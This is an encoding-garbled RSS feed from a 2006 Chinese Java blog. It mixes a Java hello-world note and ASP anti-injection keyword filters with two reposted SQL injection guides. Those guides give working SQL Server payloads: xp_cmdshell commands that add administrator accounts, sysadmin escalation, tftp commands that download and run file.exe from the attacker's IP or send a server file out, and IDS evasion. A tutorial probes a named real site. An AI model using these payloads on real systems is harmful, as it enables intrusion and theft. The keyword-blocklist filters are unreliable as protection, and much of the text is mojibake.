ï»??xml version="1.0" encoding="utf-8" standalone="yes"?>中文字幕在线直播,国产精品一区二区三区99,欧洲一级精品http://www.aygfsteel.com/lmsun/zh-cnWed, 04 Jun 2025 00:36:42 GMTWed, 04 Jun 2025 00:36:42 GMT60corejavaè¯ÖM¹¦½W”è®°http://www.aygfsteel.com/lmsun/archive/2006/06/23/54655.htmlmy javamy javaFri, 23 Jun 2006 05:25:00 GMThttp://www.aygfsteel.com/lmsun/archive/2006/06/23/54655.htmlhttp://www.aygfsteel.com/lmsun/comments/54655.htmlhttp://www.aygfsteel.com/lmsun/archive/2006/06/23/54655.html#Feedback3http://www.aygfsteel.com/lmsun/comments/commentRss/54655.htmlhttp://www.aygfsteel.com/lmsun/services/trackbacks/54655.html2.1安装java
1、java工具�a >http://java.sun.com/j2se/1.4/install-windows.html
2、设¾|®æ‰§è¡ŒçŽ¯å¢ƒï¼ˆwindows 2000)
PATH=c:\jdk\bin;
3、安装库源文件和文æ¡£
jar xvf src.jar
jar xvf j2sdkversion-doc.zip

½W¬ä¸€ä¸ªjava例子
eg:Weclome.java

public class Welcome
{
public static void main(String[] args)
{
String[] greeting=new String[3];
greeting[0]="Welcome to Core Java";
greeting[1]="by Car Horstman";
greeting[2]="and Gary Cornell";
for ( int i=0;i<greeting.length;i++)
System.out.println(greeting[i]);
}
}



]]>
jspsmartupload使用技å·?/title><link>http://www.aygfsteel.com/lmsun/archive/2006/06/23/54613.html</link><dc:creator>my java</dc:creator><author>my java</author><pubDate>Fri, 23 Jun 2006 01:34:00 GMT</pubDate><guid>http://www.aygfsteel.com/lmsun/archive/2006/06/23/54613.html</guid><wfw:comment>http://www.aygfsteel.com/lmsun/comments/54613.html</wfw:comment><comments>http://www.aygfsteel.com/lmsun/archive/2006/06/23/54613.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.aygfsteel.com/lmsun/comments/commentRss/54613.html</wfw:commentRss><trackback:ping>http://www.aygfsteel.com/lmsun/services/trackbacks/54613.html</trackback:ping><description><![CDATA[1、获得表单中文本框的数据åQ?br />mySmartUpload.getRequest().getParameter("applyusrname")<br />java.util.Enumeration e = mySmartUpload.getRequest().getParameterNames();<img src ="http://www.aygfsteel.com/lmsun/aggbug/54613.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.aygfsteel.com/lmsun/" target="_blank">my java</a> 2006-06-23 09:34 <a href="http://www.aygfsteel.com/lmsun/archive/2006/06/23/54613.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>防SQL注入http://www.aygfsteel.com/lmsun/archive/2006/02/05/29575.htmlmy javamy javaSun, 05 Feb 2006 02:23:00 GMThttp://www.aygfsteel.com/lmsun/archive/2006/02/05/29575.htmlhttp://www.aygfsteel.com/lmsun/comments/29575.htmlhttp://www.aygfsteel.com/lmsun/archive/2006/02/05/29575.html#Feedback0http://www.aygfsteel.com/lmsun/comments/commentRss/29575.htmlhttp://www.aygfsteel.com/lmsun/services/trackbacks/29575.html<%
function sqlcheck(Str,errtype)
if Instr(LCase(Str),"select ") > 0 or Instr(LCase(Str),"insert ") > 0 or Instr(LCase(Str),"delete ") > 0 or Instr(LCase(Str),"delete from ") > 0 or Instr(LCase(Str),"count(") > 0 or Instr(LCase(Str),"drop table") > 0 or Instr(LCase(Str),"update ") > 0 or Instr(LCase(Str),"truncate ") > 0 or Instr(LCase(Str),"asc(") > 0 or Instr(LCase(Str),"mid(") > 0 or Instr(LCase(Str),"char(") > 0 or Instr(LCase(Str),"xp_cmdshell") > 0 or Instr(LCase(Str),"exec master") > 0 or Instr(LCase(Str),"net localgroup administrators") > 0  or Instr(LCase(Str),"and ") > 0 or Instr(LCase(Str),"net user") > 0 or Instr(LCase(Str),"or ") > 0 then
 Response.write("<script language=javascript>" & vbcrlf & "window.location.href ='ShowError.asp?errtype=" & errtype & "'" & vbcrlf & "</script>")
 Response.End
end if
Str=Replace(Str,"_","")     '˜q‡æ×oSQL注入_
Str=Replace(Str,"*","")     '˜q‡æ×oSQL注入*
Str=Replace(Str," ","")     '˜q‡æ×oSQL注入½Iºæ ¼
Str=Replace(Str,chr(34),"")   '˜q‡æ×oSQL注入"
Str=Replace(Str,chr(39),"")            '˜q‡æ×oSQL注入'
Str=Replace(Str,chr(91),"")            '˜q‡æ×oSQL注入[
Str=Replace(Str,chr(93),"")            '˜q‡æ×oSQL注入]
Str=Replace(Str,chr(37),"")            '˜q‡æ×oSQL注入%
Str=Replace(Str,chr(58),"")            '˜q‡æ×oSQL注入:
Str=Replace(Str,chr(59),"")            '˜q‡æ×oSQL注入;
Str=Replace(Str,chr(43),"")            '˜q‡æ×oSQL注入+
Str=Replace(Str,"{","")            '˜q‡æ×oSQL注入{
Str=Replace(Str,"}","")            '˜q‡æ×oSQL注入}
sqlcheck=Str            '˜q”回¾lè¿‡ä¸Šé¢å­—符替换后的Str
end function
%>


function SafeRequest(ParaName,ParaType)
'--- 传入参数 ---
'ParaName:参数名称-字符�
'ParaType:参数¾cÕdž‹-æ•°å­—åž?1表示以上参数是数字,0表示以上参数为字½W?

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "参数" & ParaName & "必须为数字型åQ?
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function


Function SafeRequest(ParaValue,ParaType)
       '--- 传入参数 ---
       'ParaName:参数名称-字符åž?BR>       'ParaType:参数¾cÕdž‹-æ•°å­—åž?1表示以上参数是数字,0表示以上参数为字½W?

       'Dim ParaValue
       'ParaValue=Request(ParaName)函数里面是不要加引号
       If ParaType=1 then
              If not isNumeric(ParaValue) then
                   Response.write " 参数" & ParaName & "必须为数字型åQ?
                     Response.end
              End if
       Else
              ParaValue=replace(ParaValue,"'","")
     ParaValue=replace(ParaValue,";and 1=1","")
     ParaValue=replace(ParaValue,";and 1=2","")
     ParaValue=replace(ParaValue,";and user>0","")
     ParaValue=replace(ParaValue,">","")
     ParaValue=replace(ParaValue,"<","")
     ParaValue=replace(ParaValue,"=","")
     ParaValue=replace(ParaValue,"count","")
     ParaValue=replace(ParaValue,"select","")
     ParaValue=replace(ParaValue,"drop","")
     ParaValue=replace(ParaValue,"delect","")
     ParaValue=replace(ParaValue,"insert","")
     ParaValue=replace(ParaValue,"execute","")
     ParaValue=replace(ParaValue,"update","")    
     ParaValue=replace(ParaValue,"mid","")
     ParaValue=replace(ParaValue,"exec","")
     ParaValue=replace(ParaValue,"master","")
     ParaValue=replace(ParaValue,"char","")
     ParaValue=replace(ParaValue,"declare","")
     ParaValue=replace(ParaValue,"*","")
     ParaValue=replace(ParaValue,"%","")
     ParaValue=replace(ParaValue,"chr","")
     ParaValue=replace(ParaValue,"truncate","")
       End if
       SafeRequest=ParaValue
End function
'调用方式
DirID=Request("DirID")'///数据目录名称参数/无则表示全部数据
DirID=SafeRequest(DirID,1)


Dim SQL_inbreakstr
SQL_inbreakstr = "'|or|and|exec|insert|select|delete|update|drop|count|*|%|chr|mid|master|truncate|char|declare"
SQL_inbreak = split(SQL_inbreakstr,"|")
R_Q=Request.QueryString
R_F=Request.Form
IF R_Q<>"" THEN
 For i=0 To Ubound(SQL_inbreak)
  IF instr(R_Q,SQL_inbreak(i))>0 THEN
   Response.Write "*****"
                           Response.End
  END IF
 Next
End IF

IF R_F<>"" THEN
 For i=0 To Ubound(SQL_inbreak)
  IF instr(R_F,SQL_inbreak(i))>0 THEN
   Response.Write "*****"
                           Response.End
  END IF
 Next
END IF


<%
'--------版权说明------------------
'SQL通用防注入程åº?V2.0 完美ç‰?BR>'本程序由 火狐-枫知¿U?独立开å?BR>'å¯ÒŽœ¬½E‹åºæœ‰ä“Q何疑问请联系本äh
'QQ:613548

'--------定义部䆾------------------
Dim Fy_Post,Fy_Get,Fy_In,Fy_Inf,Fy_Xh,Fy_db,Fy_dbstr
'自定义需要过滤的字串,�"� 分隔
Fy_In = "'�枫and枫exec枫insert枫select枫delete枫update枫count��枫chr枫mid枫master枫truncate枫char枫declare"
'----------------------------------
%>

<%
Fy_Inf = split(Fy_In,"æž?)
'--------POST部䆾------------------
If Request.Form<>"" Then
For Each Fy_Post In Request.Form

For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.Form(Fy_Post)),Fy_Inf(Fy_Xh))<>0 Then
'--------写入数据�------�-------
Fy_dbstr="DBQ="+server.mappath("SqlIn.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
Set Fy_db=Server.CreateObject("ADODB.CONNECTION")
Fy_db.open Fy_dbstr
Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','POST','"&Fy_Post&"','"&replace(Request.Form(Fy_Post),"'","''")&"')")
Fy_db.close
Set Fy_db = Nothing
'--------写入数据åº?------ž®?-------

Response.Write "<Script Language=JavaScript>alert('枫网SQL通用防注入系¾lŸæ½Cºâ†“\n\n请不要在参数中包含非法字½W¦å°è¯•注入!\n\nHTTP://WwW.WrSkY.CoM  ¾pȝ»Ÿç‰ˆæœ¬:V2.0(ASP)完美ç‰?);</Script>"
Response.Write "非法操作åQç³»¾lŸåšäº†å¦‚下记录↓<br>"
Response.Write "操作åQ©ï¼°åQ?&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作旉™—´åQ?&Now&"<br>"
Response.Write "操作™åµé¢åQ?&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式åQšï¼°åQ¯ï¼³åQ?lt;br>"
Response.Write "提交参数åQ?&Fy_Post&"<br>"
Response.Write "提交数据åQ?&Request.Form(Fy_Post)
Response.End
End If
Next

Next
End If
'----------------------------------

'--------GET部䆾-------------------
If Request.QueryString<>"" Then
For Each Fy_Get In Request.QueryString

For Fy_Xh=0 To Ubound(Fy_Inf)
If Instr(LCase(Request.QueryString(Fy_Get)),Fy_Inf(Fy_Xh))<>0 Then
''--------写入数据�------�-------
Fy_dbstr="DBQ="+server.mappath("SqlIn.mdb")+";DefaultDir=;DRIVER={Microsoft Access Driver (*.mdb)};"
Set Fy_db=Server.CreateObject("ADODB.CONNECTION")
Fy_db.open Fy_dbstr
Fy_db.Execute("insert into SqlIn(Sqlin_IP,SqlIn_Web,SqlIn_FS,SqlIn_CS,SqlIn_SJ) values('"&Request.ServerVariables("REMOTE_ADDR")&"','"&Request.ServerVariables("URL")&"','GET','"&Fy_Get&"','"&replace(Request.QueryString(Fy_Get),"'","''")&"')")
Fy_db.close
Set Fy_db = Nothing
'--------写入数据åº?------ž®?-------

Response.Write "<Script Language=JavaScript>alert('枫网SQL通用防注入系¾lŸæ½Cºâ†“\n\n请不要在参数中包含非法字½W¦å°è¯•注入!\n\nHTTP://WwW.WrSkY.CoM  ¾pȝ»Ÿç‰ˆæœ¬:V2.0(ASP)完美ç‰?);</Script>"
Response.Write "非法操作åQç³»¾lŸåšäº†å¦‚下记录↓<br>"
Response.Write "操作åQ©ï¼°åQ?&Request.ServerVariables("REMOTE_ADDR")&"<br>"
Response.Write "操作旉™—´åQ?&Now&"<br>"
Response.Write "操作™åµé¢åQ?&Request.ServerVariables("URL")&"<br>"
Response.Write "提交方式åQšï¼§åQ¥ï¼´<br>"
Response.Write "提交参数åQ?&Fy_Get&"<br>"
Response.Write "提交数据åQ?&Request.QueryString(Fy_Get)
Response.End
End If
Next
Next
End If
'----------------------------------
%>

可以防止所有得sql注入åQ?BR>Function SafeRequest(ParaName,ParaType)
 '--- 防止SQL注入 ---
 'ParaName:参数名称-字符åž?BR> 'ParaType:参数¾cÕdž‹-æ•°å­—åž?1表示以上参数是数字,0表示以上参数为字½W?
 Dim ParaValue
 ParaValue=Request(ParaName)
 If ParaType=1 then
  If not isNumeric(ParaValue) then
   Response.write "<br><br><br><center><font color=red>参数" & ParaName & "必须为数字型åQ?
   Response.end
  End if
 Else
  ParaValue=replace(ParaValue,"'","''")
 End if
 SafeRequest=ParaValue
End function
来源åQ?A >http://www.yesky.com/305/1899305.shtml



]]>
桂林老兵的SQLSERVER高çñ”注入技å·?转帖)http://www.aygfsteel.com/lmsun/archive/2006/02/05/29571.htmlmy javamy javaSun, 05 Feb 2006 02:04:00 GMThttp://www.aygfsteel.com/lmsun/archive/2006/02/05/29571.htmlhttp://www.aygfsteel.com/lmsun/comments/29571.htmlhttp://www.aygfsteel.com/lmsun/archive/2006/02/05/29571.html#Feedback0http://www.aygfsteel.com/lmsun/comments/commentRss/29571.htmlhttp://www.aygfsteel.com/lmsun/services/trackbacks/29571.html

[获得数据表名][ž®†å­—ŒDµå€¼æ›´æ–îCؓ表名åQŒå†æƒÏx³•è¯Õd‡º˜q™ä¸ªå­—段的值就可得到表名]
update 表名 set 字段=(select top 1 name from sysobjects where xtype=u and status>0 [ and name<>'你得到的表名' 查出一个加一个]) [ where 条äšg]


[获得数据表字ŒDµå][ž®†å­—ŒDµå€¼æ›´æ–îCØ“å­—æ®µåï¼Œå†æƒ³æ³•è¯»å‡ø™¿™ä¸ªå­—ŒD늚„值就可得到字ŒDµå]
update 表名 set 字段=(select top 1 col_name(object_id('要查询的数据表名'),字段列如:1) [ where 条äšg]


也可以这æ äh›´½Ž€æïLš„获取表名åQ?/P>


select top 1 name from sysobjects where xtype=u and status>0 and name not in('table1','table2',�

通过SQLSERVER注入漏洞建数据库½Ž¡ç†å‘˜å¸å·å’Œ¾pȝ»Ÿ½Ž¡ç†å‘˜å¸å·[当前帐号必须是SYSADMIN¾l„]


news.asp?id=2;exec master.dbo.sp_addlogin test,test;-- //æ·ÕdŠ æ•°æ®åº“ç”¨æˆïL”¨æˆ·test,密码为test
news.asp?id=2;exec master.dbo.sp_password test,123456,test;-- //如果æƒÏx”¹å¯†ç åQŒåˆ™ç”¨è¿™å¥ï¼ˆž®†test的密码改ä¸?23456åQ?BR>news.asp?id=2;exec master.dbo.sp_addsrvrolemember test,sysadmin;-- //ž®†test加到sysadmin¾l?˜q™ä¸ª¾l„的成员可执行ä“Q何操ä½?BR>news.asp?id=2;exec master.dbo.xp_cmdshell 'net user test test /add';-- //æ·ÕdŠ ¾pȝ»Ÿç”¨æˆ·test,密码为test
news.asp?id=2;exec master.dbo.xp_cmdshell 'net localgroup administrators test /add';-- //ž®†ç³»¾lŸç”¨æˆ·test提升为管理员


˜q™æ ·åQŒä½ åœ¨ä»–的数据库和系¾lŸå†…都留下了test½Ž¡ç†å‘˜è̎号了

下面是如何从你的服器下蝲文äšgfile.exe后运行它[前提是你必须ž®†ä½ çš„电脑设为TFTP服务器,ž®?9端口打开]


id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP get file.exe';--


然后˜qè¡Œ˜q™ä¸ªæ–‡äšgåQ?BR>id=2; exec master.dbo.xp_cmdshell 'file.exe';--


下蝲服务器的文äšgfile2.doc到本地TFTP服务器[æ–‡äšg必须存在]:


id=2; exec master.dbo.xp_cmdshell 'tftp –i 你的IP Put file2.doc';--


¾l•过IDS的检‹¹‹[使用变量]
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'dir c:\'
declare @a sysname set @a='xp'+'_cm�’dshell' exec @a 'dir c:\'



]]>
SQL注入天书http://www.aygfsteel.com/lmsun/archive/2006/02/05/29570.htmlmy javamy javaSun, 05 Feb 2006 01:58:00 GMThttp://www.aygfsteel.com/lmsun/archive/2006/02/05/29570.htmlhttp://www.aygfsteel.com/lmsun/comments/29570.htmlhttp://www.aygfsteel.com/lmsun/archive/2006/02/05/29570.html#Feedback0http://www.aygfsteel.com/lmsun/comments/commentRss/29570.htmlhttp://www.aygfsteel.com/lmsun/services/trackbacks/29570.html
åQ»I¼±åQ¬æ³¨å…¥æ˜¯ä»Žæ­£å¸¸çš„WWW端口讉K—®åQŒè€Œä¸”表面看è“v来跟一般的Web™åµé¢è®‰K—®æ²¡ä»€ä¹ˆåŒºåˆ«ï¼Œæ‰€ä»¥ç›®å‰å¸‚面的防火墙都不会对SåQ±ï¼¬æ³¨å…¥å‘出警报åQŒå¦‚果管理员没查看IIS*志的习惯åQŒå¯èƒ½è¢«å…¥äçR很长旉™—´éƒ½ä¸ä¼šå‘觉ã€?

但是åQŒï¼³åQ±ï¼¬æ³¨å…¥çš„æ‰‹æ³•相当灵‹z»ï¼Œåœ¨æ³¨å…¥çš„æ—¶å€™ä¼š¼„°åˆ°å¾ˆå¤šæ„å¤–的情å†üc€‚能不能æ ÒŽ®å…·ä½“情况˜q›è¡Œåˆ†æžåQŒæž„造åéy妙的SQL语句åQŒä»Žè€ŒæˆåŠŸèŽ·å–æƒ³è¦çš„æ•°æ®åQŒæ˜¯é«˜æ‰‹ä¸Žâ€œèœé¸Ÿâ€çš„æ ÒŽœ¬åŒºåˆ«ã€?

æ ÒŽ®å›½æƒ…åQŒå›½å†…çš„¾|‘站用ASP Access或SQLServer的占70%以上åQŒPHP MySQ占L20%åQŒå…¶ä»–的不èƒö10%。在本文åQŒæˆ‘们从分入门、进阶至高çñ”讲解一下ASP注入的方法及技巧,PHP注入的文章由NB联盟的另一位朋友zwell撰写åQŒå¸Œæœ›å¯¹å®‰å…¨å·¥ä½œè€…å’Œ½E‹åºå‘˜éƒ½æœ‰ç”¨å¤„。了解ASP注入的朋友也请不要蟩˜q‡å…¥é—¨ç¯‡åQŒå› ä¸ºéƒ¨åˆ†ähå¯Ò޳¨å…¥çš„基本判断æ–ÒŽ³•˜q˜å­˜åœ¨è¯¯åŒºã€‚大家准备好了吗åQŸLet's Go...

å…?é—?½‹?

如果你以前没试过åQ»I¼±åQ¬æ³¨å…¥çš„话,那么½W¬ä¸€æ­¥å…ˆæŠŠIE菜单=>工具=>Internet选项=>高çñ”=>昄¡¤ºå‹å¥½HTTP 错误信息前面的勾åŽÀLŽ‰ã€‚å¦åˆ™ï¼Œä¸è®ºæœåŠ¡å™¨è¿”å›žä»€ä¹ˆé”™è¯¯ï¼ŒIE都只昄¡¤ºä¸ºHTTP 500服务器错误,不能获得更多的提½CÞZ¿¡æ¯ã€?

½W¬ä¸€èŠ‚ã€ï¼³åQ±ï¼¬æ³¨å…¥åŽŸç†

以下我们从一个网www.19cn.com开始(注:本文发表前已征得该站站长同意åQŒå¤§éƒ¨åˆ†éƒ½æ˜¯çœŸå®žæ•°æ®åQ‰ã€?

在网站首™åµä¸ŠåQŒæœ‰åäؓ“IE不能打开新窗口的多种解决æ–ÒŽ³•”的链接åQŒåœ°å€ä¸ºï¼šhttp://www.19cn.com/showdetail.asp?id=49åQŒæˆ‘们在˜q™ä¸ªåœ°å€åŽé¢åŠ ä¸Šå•å¼•å·â€™ï¼ŒæœåŠ¡å™¨ä¼š˜q”回下面的错误提½Cºï¼š

Microsoft JET Database Engine 错误 '80040e14'字符串的语法错误 在查询表辑ּ 'ID=49'' 中ã€?

/showdetail.aspåQŒè¡Œ8

从这个错误提½Cºæˆ‘们能看出下面几点åQ?

1.¾|‘站使用的是Access数据库,通过JET引擎˜qžæŽ¥æ•°æ®åº“,而不是通过ODBCã€?

2. ½E‹åºæ²¡æœ‰åˆ¤æ–­å®¢æˆ·ç«¯æäº¤çš„æ•°æ®æ˜¯å¦½W¦åˆ½E‹åºè¦æ±‚ã€?

3. 该SQLè¯­å¥æ‰€æŸ¥è¯¢çš„è¡¨ä¸­æœ‰ä¸€åäØ“ID的字ŒDüc€?

从上面的例子我们可以知道åQŒï¼³åQ±ï¼¬æ³¨å…¥çš„原理,ž®±æ˜¯ä»Žå®¢æˆïL«¯æäº¤ç‰ÒŽ®Šçš„代码,从而收集程序及服务器的信息åQŒä»Žè€ŒèŽ·å–ä½ æƒ›_ˆ°å¾—到的资料ã€?

½W¬äºŒèŠ‚ã€åˆ¤æ–­èƒ½å¦è¿›è¡Œï¼³åQ±ï¼¬æ³¨å…¥

看完½W¬ä¸€èŠ‚ï¼Œæœ‰ä¸€äº›äh会觉得:我也是经常这æ ähµ‹è¯•能否注入的åQŒè¿™ä¸æ˜¯å¾ˆç®€å•吗åQ?

其实åQŒè¿™òq¶ä¸æ˜¯æœ€å¥½çš„æ–ÒŽ³•åQŒäؓ什么呢åQ?
首先åQŒä¸ä¸€å®šæ¯å°æœåŠ¡å™¨çš„IIS都返回具体错误提½Cºç»™å®¢æˆ·ç«¯ï¼Œå¦‚æžœ½E‹åºä¸­åŠ äº†cint(参数)之类语句的话åQŒï¼³åQ±ï¼¬æ³¨å…¥æ˜¯ä¸ä¼šæˆåŠŸçš„åQŒä½†æœåŠ¡å™¨åŒæ ·ä¼šæŠ¥é”™åQŒå…·ä½“提½CÞZ¿¡æ¯äؓ处理 URL 时服务器上出错。请和系¾lŸç®¡ç†å‘˜è”络ã€?

其次åQŒéƒ¨åˆ†å¯¹åQ»I¼±åQ¬æ³¨å…¥æœ‰ä¸€ç‚¹äº†è§£çš„½E‹åºå‘˜ï¼Œè®¤äؓ只要把单引号˜q‡æ×o掉就安全了,˜q™ç§æƒ…å†µä¸äØ“ž®‘æ•°åQŒå¦‚果你用单引号‹¹‹è¯•åQŒæ˜¯‹¹‹ä¸åˆ°æ³¨å…¥ç‚¹çš„那么,什么样的测试方法才是比较准¼‹®å‘¢åQŸç­”案如下:

â‘?http://www.19cn.com/showdetail.asp?id=49

â‘?http://www.19cn.com/showdetail.asp?id=49 ;;and 1=1

â‘?http://www.19cn.com/showdetail.asp?id=49 ;;and 1=2

˜q™å°±æ˜¯ç»å…¸çš„1=1ã€?=2‹¹‹è¯•法了åQŒæ€Žä¹ˆåˆ¤æ–­å‘¢ï¼Ÿçœ‹çœ‹ä¸Šé¢ä¸‰ä¸ª¾|‘址˜q”回的结果就知道了:

可以注入的表玎ͼš

â‘?正常昄¡¤ºåQˆè¿™æ˜¯å¿…ç„¶çš„åQŒä¸ç„¶å°±æ˜¯ç¨‹åºæœ‰é”™è¯¯äº†ï¼‰

â‘?正常昄¡¤ºåQŒå†…容基本与①相å?

â‘?提示BOF或EOFåQˆç¨‹åºæ²¡åšä“Q何判断时åQ‰ã€æˆ–提示找不到记录(判断了rs.eofæ—Óž¼‰ã€æˆ–昄¡¤ºå†…容为空åQˆç¨‹åºåŠ äº†on error resume nextåQ‰ä¸å¯ä»¥æ³¨å…¥ž®±æ¯”较容易判断了åQŒâ‘ åŒæ ·æ­£å¸¸æ˜„¡¤ºåQŒâ‘¡å’Œâ‘¢ä¸€èˆ¬éƒ½ä¼šæœ‰½E‹åºå®šä¹‰çš„错误提½Cºï¼Œæˆ–提½Cºç±»åž‹è{换时出错ã€?

  当然åQŒè¿™åªæ˜¯ä¼ å…¥å‚数是数字型的时候用的判断方法,实际应用的时候会有字½W¦åž‹å’Œæœç´¢åž‹å‚æ•°åQŒæˆ‘ž®†åœ¨ä¸­çñ”½‹‡çš„“SåQ±ï¼¬æ³¨å…¥ä¸€èˆ¬æ­¥éª¤â€å†åšåˆ†æžã€?

½W¬ä¸‰èŠ‚ã€åˆ¤æ–­æ•°æ®åº“¾cÕdž‹åŠæ³¨å…¥æ–¹æ³?

不同的数据库的函数、注入方法都是有差异的,所以在注入之前åQŒæˆ‘们还要判断一下数据库的类型。一般ASP最常搭配的数据库是Accesså’ŒSQLServeråQŒç½‘上超˜q?9%的网站都是其中之一ã€?

怎么让程序告诉你它ä‹É用的什么数据库呢?来看看:

SQLServer有一些系¾lŸå˜é‡ï¼Œå¦‚果服务器IIS提示没关闭,òq¶ä¸”SQLServer˜q”回错误提示的话åQŒé‚£å¯ä»¥ç›´æŽ¥ä»Žå‡ºé”™ä¿¡æ¯èŽ·å–ï¼Œæ–ÒŽ³•如下åQ?

http://www.19cn.com/showdetail.asp?id=49;;and user>0

˜q™å¥è¯­å¥å¾ˆç®€å•,但却包含了SQLServerç‰ÒŽœ‰æ³¨å…¥æ–ÒŽ³•的精髓,我自å·×ƒ¹Ÿæ˜¯åœ¨ä¸€‹Æ¡æ— æ„çš„‹¹‹è¯•中发现这¿Uæ•ˆçŽ‡æžé«˜çš„çŒœè§£æ–ÒŽ³•。让我看来看看它的含义:首先åQŒå‰é¢çš„语句是正常的åQŒé‡ç‚¹åœ¨anduser>0åQŒæˆ‘们知道,user是SQLServer的一个内¾|®å˜é‡ï¼Œå®ƒçš„值是当前˜qžæŽ¥çš„用户名åQŒç±»åž‹äØ“nvarchar。拿一个nvarcharçš„å€ÆD·Ÿint的数0比较åQŒç³»¾lŸä¼šå…ˆè¯•囑ְ†nvarcharçš„å€ÆD{成int型,当然åQŒè{的过½E‹ä¸­è‚¯å®šä¼šå‡ºé”™ï¼ŒSQLServer的出错提½Cºæ˜¯åQšå°†nvarcharå€?”abcâ€?转换数据¾cÕdž‹ä¸?int 的列时发生语法错误,呵呵åQŒabc正是变量userçš„å€û|¼Œ˜q™æ ·åQŒä¸åºŸå¹çîC¹‹åŠ›å°±æ‹¿åˆ°äº†æ•°æ®åº“çš„ç”¨æˆ·åã€‚åœ¨ä»¥åŽçš„ç¯‡òq…里åQŒå¤§å®¶ä¼šçœ‹åˆ°å¾ˆå¤šç”¨è¿™¿Uæ–¹æ³•的语句ã€?

™åÞZ¾¿è¯´å‡ å¥ï¼Œä¼—所周知åQŒSQLServer的用户sa是个½{‰åŒAdminstrators权限的角è‰ÔŒ¼Œæ‹¿åˆ°äº†sa权限åQŒå‡ ä¹Žè‚¯å®šå¯ä»¥æ‹¿åˆîC¸»æœºçš„Administrator了。上面的æ–ÒŽ³•可以很方便的‹¹‹è¯•出是否是用saç™Õd½•åQŒè¦æ³¨æ„çš„æ˜¯åQšå¦‚果是saç™Õd½•åQŒæ½Cºæ˜¯ž®†â€dbo”è{换成int的列发生错误åQŒè€Œä¸æ˜¯â€sa”ã€?

如果服务器IIS不允许返回错误提½Cºï¼Œé‚£æ€Žä¹ˆåˆ¤æ–­æ•°æ®åº“类型呢åQŸæˆ‘们可以从Accesså’ŒSQLServer和区别入手,Accesså’ŒSQLServer都有自己的系¾lŸè¡¨åQŒæ¯”如存放数据库中所有对象的表,Access是在¾pȝ»Ÿè¡¨[msysobjects]中,但在Web环境下读该表会提½Cºâ€œæ²¡æœ‰æƒé™â€ï¼ŒSQLServer是在表[sysobjects]中,在Web环境ä¸?

可正常读取�

在确认可以注入的情况下,使用下面的语句:

http://www.19cn.com/showdetail.asp?id=49;;and(select count(*) from sysobjects)>0

http://www.19cn.com/showdetail.asp?id=49;;and(select count(*) from msysobjects)>0

如果数据库是SQLServeråQŒé‚£ä¹ˆç¬¬ä¸€ä¸ªç½‘址的页面与原页é?A target=_blank>http://www.19cn.com/showdetail.asp?id=49是大致相同的åQ›è€Œç¬¬äºŒä¸ª¾|‘址åQŒç”±äºŽæ‰¾ä¸åˆ°è¡¨msysobjectsåQŒä¼šæç¤ºå‡ºé”™åQŒå°±½Ž—程序有定w”™å¤„理åQŒé¡µé¢ä¹Ÿä¸ŽåŽŸ™åµé¢å®Œå…¨ä¸åŒã€?

如果数据库用的是AccessåQŒé‚£ä¹ˆæƒ…况就有所不同åQŒç¬¬ä¸€ä¸ªç½‘址的页面与原页面完全不同;½W¬äºŒä¸ªç½‘址åQŒåˆ™è§†ä¹Žæ•°æ®åº“设¾|®æ˜¯å¦å…è®¸è¯»è¯¥ç³»¾lŸè¡¨åQŒä¸€èˆ¬æ¥è¯´æ˜¯ä¸å…è®¸çš„åQŒæ‰€ä»¥ä¸ŽåŽŸç½‘å€ä¹Ÿæ˜¯å®Œå…¨ä¸åŒã€‚å¤§å¤šæ•°æƒ…å†µä¸‹ï¼Œç”¨ç¬¬ä¸€ä¸ªç½‘å€ž®±å¯ä»¥å¾—知系¾lŸæ‰€ç”¨çš„æ•°æ®åº“类型,½W¬äºŒä¸ªç½‘址只作为开启IIS错误提示时的验证ã€?

˜q?é˜?½‹?

在入门篇åQŒæˆ‘们学会了åQ»I¼±åQ¬æ³¨å…¥çš„判断æ–ÒŽ³•åQŒä½†çœŸæ­£è¦æ‹¿åˆ°ç½‘站的保密内容åQŒæ˜¯˜qœè¿œä¸å¤Ÿçš„。接下来åQŒæˆ‘们就¾l§ç®‹å­¦ä¹ å¦‚何从数据库中获取想要获得的内容åQŒé¦–先,我们先看看SåQ±ï¼¬æ³¨å…¥çš„一般步骤:

½W¬ä¸€èŠ‚ã€ï¼³åQ±ï¼¬æ³¨å…¥çš„一般步éª?

首先åQŒåˆ¤æ–­çŽ¯å¢ƒï¼Œå¯ÀL‰¾æ³¨å…¥ç‚¹ï¼Œåˆ¤æ–­æ•°æ®åº“类型,˜q™åœ¨å…¥é—¨½‹‡å·²¾lè®²˜q‡äº†ã€?

其次åQŒæ ¹æ®æ³¨å…¥å‚数类型,在脑‹¹·ä¸­é‡æž„SQL语句的原貌,按参数类型主要分ä¸ÞZ¸‹é¢ä¸‰¿Uï¼š

(A) ID=49 ˜q™ç±»æ³¨å…¥çš„参数是数字型,SQL语句原貌大致如下åQ?
Select * from 表名 where 字段=49
注入的参æ•îCØ“ID=49 And [查询条äšg]åQŒå³æ˜¯ç”Ÿæˆè¯­å¥ï¼š
Select * from 表名 where 字段=49 And [查询条äšg]

(B) Class=˜qžç®‹å‰?˜q™ç±»æ³¨å…¥çš„参数是字符型,SQL语句原貌大致概如下:
Select * from 表名 where 字段=’连¾l­å‰§â€?
注入的参æ•îCØ“Class=˜qžç®‹å‰§â€?and [查询条äšg] and ‘â€?â€?åQŒå³æ˜¯ç”Ÿæˆè¯­å¥ï¼š
Select * from 表名 where 字段=’连¾l­å‰§â€?and [查询条äšg] and ‘â€?’â€?

(C) 搜烦时没˜q‡æ×o参数的,如keyword=关键字,SQL语句原貌大致如下åQ?
Select * from 表名 where 字段like �关键��
